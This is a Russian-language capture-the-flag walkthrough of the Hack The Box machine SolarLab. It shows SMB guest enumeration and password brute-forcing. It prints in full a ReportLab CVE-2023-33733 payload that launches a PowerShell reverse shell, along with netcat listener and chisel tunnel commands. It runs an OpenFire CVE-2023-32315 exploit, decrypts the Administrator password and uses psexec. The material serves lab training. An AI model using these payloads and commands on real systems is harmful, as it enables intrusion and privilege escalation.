HTB SolarLab
Повышаем привилегии через сервис OpenFire
Наша цель — получение прав суперпользователя на машине SolarLab с учебной площадки Hack The Box. Уровень сложности задания — средний.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.16 solarlab.htb
И запускаем сканирование портов.

По результатам сканирования имеем несколько открытых портов, типичных для систем Windows:
- 80 и 6791 (HTTP) — веб‑сервер Nginx 1.24.0;
- 135 — служба удаленного вызова процедур (Microsoft RPC). Используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
- 139 — служба сеансов NetBIOS, NetLogon;
- 445 — SMB.
По логу видно, что с порта 6791 выполняется редирект на домен report.
. Сразу добавим запись в файл /
.
10.10.11.16 solarlab.htb report.solarlab.htb
Точка входа
Первым делом проверяем, разрешен ли вход от имени гостевой учетной записи по SMB.
nxc smb 10.10.11.16 -u guest -p ''

Так как аутентификация прошла успешно, мы можем просмотреть общие каталоги SMB. Чаще всего аутентификация для анонима включается именно для доступа к каким‑то общим ресурсам.
nxc smb 10.10.11.16 -u guest -p '' --shares

Также мы можем пробрутить RID объектов, таких как пользователи и группы.
nxc smb 10.10.11.16 -u guest -p '' --rid-brute

Теперь вернемся к общим каталогам. Нам доступен для чтения каталог Documents
, в котором могут быть важные данные.
smbclient.py ./guest:''@10.10.11.16
use Documents

Из Documents
забираем документы XLSX и DOCX. Еще два документа забираем из вложенного каталога concepts
.

В документах полезной информации найти не удалось, а вот в таблице есть списки учетных данных для разных ресурсов.

К SMB эти учетные данные не подошли, поэтому наконец переходим к вебу. Сайт на 80-м порте больше напоминает визитку. Зато на нем мы находим список пользователей, которые были в таблице.


На порте 6791 нас встречает форма авторизации.

Точка опоры
В таблице представлено несколько вариантов имени пользователя, поэтому для раскрытых юзеров составляем список с логинами и почтами и отдельно выписываем из таблицы пароли. А затем пробрутим их в форме авторизации на ReportHub с использованием Burp Intruder.



В итоге находим одну валидную пару из логина и пароля, с которой авторизуемся на сайте.

Сайт предлагает четыре функции. Все они связаны с генерацией отчета в формате PDF.


В подобных генераторах нередко встречаются уязвимости, поэтому стоит узнать об используемой для генерации библиотеке. Эту запись обычно можно получить из метаданных файла.

Таким образом, мы выяснили, что на сервере используется библиотека ReportLab PDF.
CVE-2023-33733
Стоит проверить, есть ли для этой библиотеки готовые эксплоиты. Первым делом идем в Google.

И по первой же ссылке доступен эксплоит для уязвимости CVE-2023-33733.
Когда приложение обрабатывает HTML-содержимое с помощью уязвимой библиотеки, вызовы вложенных функций могут привести к тому, что rl_safe_eval
позволит выполнить произвольный код. В итоге это приводит к запуску определенной команды операционной системы, и атакующий может получить RCE.
Для эксплуатации уязвимости нужно передать в генератор HTML-код с нагрузкой в атрибуте color
. В функции system
нужно указать команду, которая будет выполнена через cmd
, например реверс‑шелл на PowerShell.

В Burp History находим запрос, в котором передаются данные для отчета. Этот запрос переправим в Burp Repeater.

Запускаем листенер для реверс‑шелла:
rlwrap nc -nlvp 4321
А теперь вставим в запрос нагрузку из репозитория и отправим ее на сервер.
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -e JABjAGwAaQB.....AApAA==') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'"> exploit
</font></para>

Сразу же в окне листенера получаем сессию пользователя blake и читаем первый флаг.

Продвижение
Мы уже видели в системе пользователя openfire. Скорее всего, на сервере установлена одноименная система — OpenFire. Проверим прослушиваемые порты, так как по умолчанию OpenFire занимает порт 9090.
netstat /an

Этот порт прослушивается для адреса 127.0.0.1, поэтому нужно сделать туннель. Для этого организуем проброс портов 9000 и 9001 с помощью chisel. Нам потребуется и версия для Windows, и версия для Linux. Запустим на локальном хосте сервер, указав порт для подключения (опция -p
).
./chisel.bin server -p 8888 --reverse
Затем загрузим на удаленный хост версию для Windows и выполним подключение, указав настройки туннеля: [
. В логах сервера увидим сообщение о подключении клиентской части.
.\chisel.exe client 10.10.16.14:8888 R:9090:127.0.0.1:9090 R:9091:127.0.0.1:9091

Теперь весь трафик с локальных портов 9000 и 9001 будет перенаправляться на порты 9000 и 9001 удаленной машины. На сервере работает OpenFire версии 7.4.7.

Снова поищем готовые эксплоиты для найденного нами приложения.

И снова по первой же ссылке в Google получаем эксплоит для уязвимости CVE-2023-32315. Эта уязвимость в консоли администрирования позволяет атакующему создать своего пользователя с ролью администратора OpenFire.
python3 CVE-2023-32315.py -t http://127.0.0.1:9090

С созданным пользователем успешно авторизуемся в сервисе.

Имея права администратора в OpenFire, мы можем установить в сервисе свой модуль с шеллом. Для этого переходим в раздел Plugins и загружаем модуль из того же репозитория.

Затем переходим к консоли установленного плагина через меню Server → Server Settings → Management Tool и указываем пароль 123.



Открываем листенер и в консоли OpenFire выполняем реверс‑шелл.

Локальное повышение привилегий
У нас есть сессия в контексте OpenFire, проверим конфиги и логи в каталоге embedded-db.

В файле openfire.
находим зашифрованные данные пользователя Administrator, а чуть дальше по логам — и ключ шифрования passwordKey
.

Беглый поиск в Google вывел меня на скрипт для расшифровки данных OpenFire. Сначала компилируем файл .java, затем запускаем собранную утилиту и передаем ей зашифрованную строку и ключ.
javac OpenFireDecryptPass.java
java OpenFireDecryptPass becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 hGXiFzsKaAeYLjn

Получаем пароль администратора и валидируем его для административной учетной записи.
nxc smb 10.10.11.16 -u Administrator -p 'ThisPasswordShouldDo!@'

Таким образом, у нас есть учетные данные администратора. Получаем сессию через psexec и читаем флаг рута.
psexec.py ./Administrator:'ThisPasswordShouldDo!@'@10.10.11.16

Машина захвачена!